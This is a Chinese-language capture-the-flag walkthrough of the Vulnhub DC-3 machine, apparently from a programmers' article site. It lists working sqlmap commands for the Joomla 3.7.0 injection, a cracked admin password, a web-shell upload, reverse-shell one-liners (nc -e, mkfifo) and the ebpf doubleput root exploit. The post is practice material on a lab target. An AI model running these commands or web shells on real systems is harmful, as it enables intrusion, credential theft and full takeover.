欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

DC-3入门练习

程序员文章站 2022-05-17 16:46:55
...

Vulnhub-DC3

1. 搭建靶机环境

准备DC-3靶机在(vulnhub),并查看MAC地址为后期扫描做准备(黑盒测试)
DC-3入门练习
DC-3入门练习

2. 扫描指纹识别

1.nmap扫描找到dc-3靶机地址

nmap -sP 192.168.1.15 -p 1-65535 -oN nmap.sP            //nmap扫描
netdiscover -r 192.168.1.0/24        					//netdiscover扫描这两个都可以         

DC-3入门练习
DC-3入门练习
2.nmap扫描靶机ip,进行端口扫描

nmap -A 192.168.1.15 -p 1-65535 -oN nmap.A

DC-3入门练习
发现80端口开放,访问80
DC-3入门练习
3.进行指纹识别

whatweb http://192.168.1.15

发现主机是linux,ubuntu,网站是开源之一的Joomla站搭建
DC-3入门练习
4.joomscan扫描
joomscan可以扫描检测joomla整站程序搭建的网站是否存在文件包含,sql注入,命令执行漏洞.

joomscan --url http://192.168.1.15

扫描出joomla的版本和一些网页目录,网站后台
DC-3入门练习
查看这些网页:
DC-3入门练习
DC-3入门练习
DC-3入门练习
5.利用kali自带漏洞源查找joomla 3.7.0可能存在漏洞

searchsploit joomla 3.7.0
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomalv370_sqli.txt

发现joomla存在sql注入漏洞,把他复制到目录下打开
DC-3入门练习
发现存在注入的url和SQLmap用法
DC-3入门练习

3. sqlmap进行注入

1.列出数据库

sqlmap -u "http://l192.168.1.15/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

猜测数据库为joomladb
DC-3入门练习
2.列出表名

sqlmap -u "http://l192.168.1.15/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --columns -p list[fullordering]

猜测表名为#__users
DC-3入门练习

3.列出字段

sqlmap -u "http://192.168.1.15/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users"  --columns  -p list[fullordering]

DC-3入门练习

4.查看字段内容

sqlmap -u "http://192.168.1.15/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users"  -C name,password --dump  -p list[fullordering]

发现密码是一串哈希值
DC-3入门练习
5.对hash值解密**
将哈希值存入txt文件中

vim joomlav370_admin_hash.txt

DC-3入门练习
**密码

john joomlav370_admin_hash.txt

账号:admin
密码:snoopy
DC-3入门练习

4. 登录后台搜集信息

1.成功登陆随便看看
发现在这个目录下有一个模板(通常模板是在根目录下我们尝试了一下发现模板不是根目录下)
DC-3入门练习
DC-3入门练习
进入这个模板发现可以创建文件以及管理文件,这里我们想到上传一句话木马,然后菜刀连接,但是我们不知道一句话木马的位置
DC-3入门练习
此时突然想到之前扫描出来的网站目录和现在目录相关的有templates,访问该目录
DC-3入门练习
猜想beez3在templates目录下(无报错说明正确)
DC-3入门练习
DC-3入门练习

5. 上传木马

接下来我们可以在该目录下html文件中添加木马
DC-3入门练习
然后访问看是否上传成功
DC-3入门练习

6. 用蚁剑进行连接(注意:刚开始用菜刀怎么都连接不成功后来换蚁剑可以)

DC-3入门练习
打开终端(用户权限为www-date,接下来要反弹shell和提权)
DC-3入门练习

7. 反弹shell

为什么要反弹shell?
通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标机器的ip动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

kali本地监听

nc -lvvp 2333

蚁剑虚拟终端(服务端)主动连接kali(客户端)

nc -e /bin/bash 192.168.1.12 2333
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.12 2333 >/tmp/f

DC-3入门练习
反弹成功
DC-3入门练习

8. 提权

到达这里后,我们目前只知道服务端版本信息和网站指纹,所以可以尝试系统漏洞提权
思路·:
1.利用操作系统本版号 (这里是ubuntu 16.04)
2.根据版本号搜索exp
3.反弹shell(这里我们已经反弹)
4.利用exp提权

1.找到漏洞后后把他复制到本地:

searchsploit ubuntu 16.04
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu1604_shell.txt
cat ubuntu1604_shell.txt

DC-3入门练习
2.打开并下载exp
DC-3入门练习
然后下载:(这里由于是国外服务器所以我们下载失败)

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

DC-3入门练习
我们可以把这个exp放在本地搭建的服务器上,然后wget下载,下面是exp资源(这里注意wget下载是在反弹shell的主机)

EXP资源

链接:https://pan.baidu.com/s/1AeuJrP-T6elka5aZP9KL9g 
提取码:0fkw

DC-3入门练习
3.解压exp

unzip 39772.zip

cd 39772

DC-3入门练习

tar -xvf exploit.tar

cd ebpf_mapfd_doubleput_exploit

DC-3入门练习

./compile.sh

./doublepu

4.运行脚本提权成功
然后进去 /root目录下,查看文件发现flag
DC-3入门练习

相关标签: DC DC-3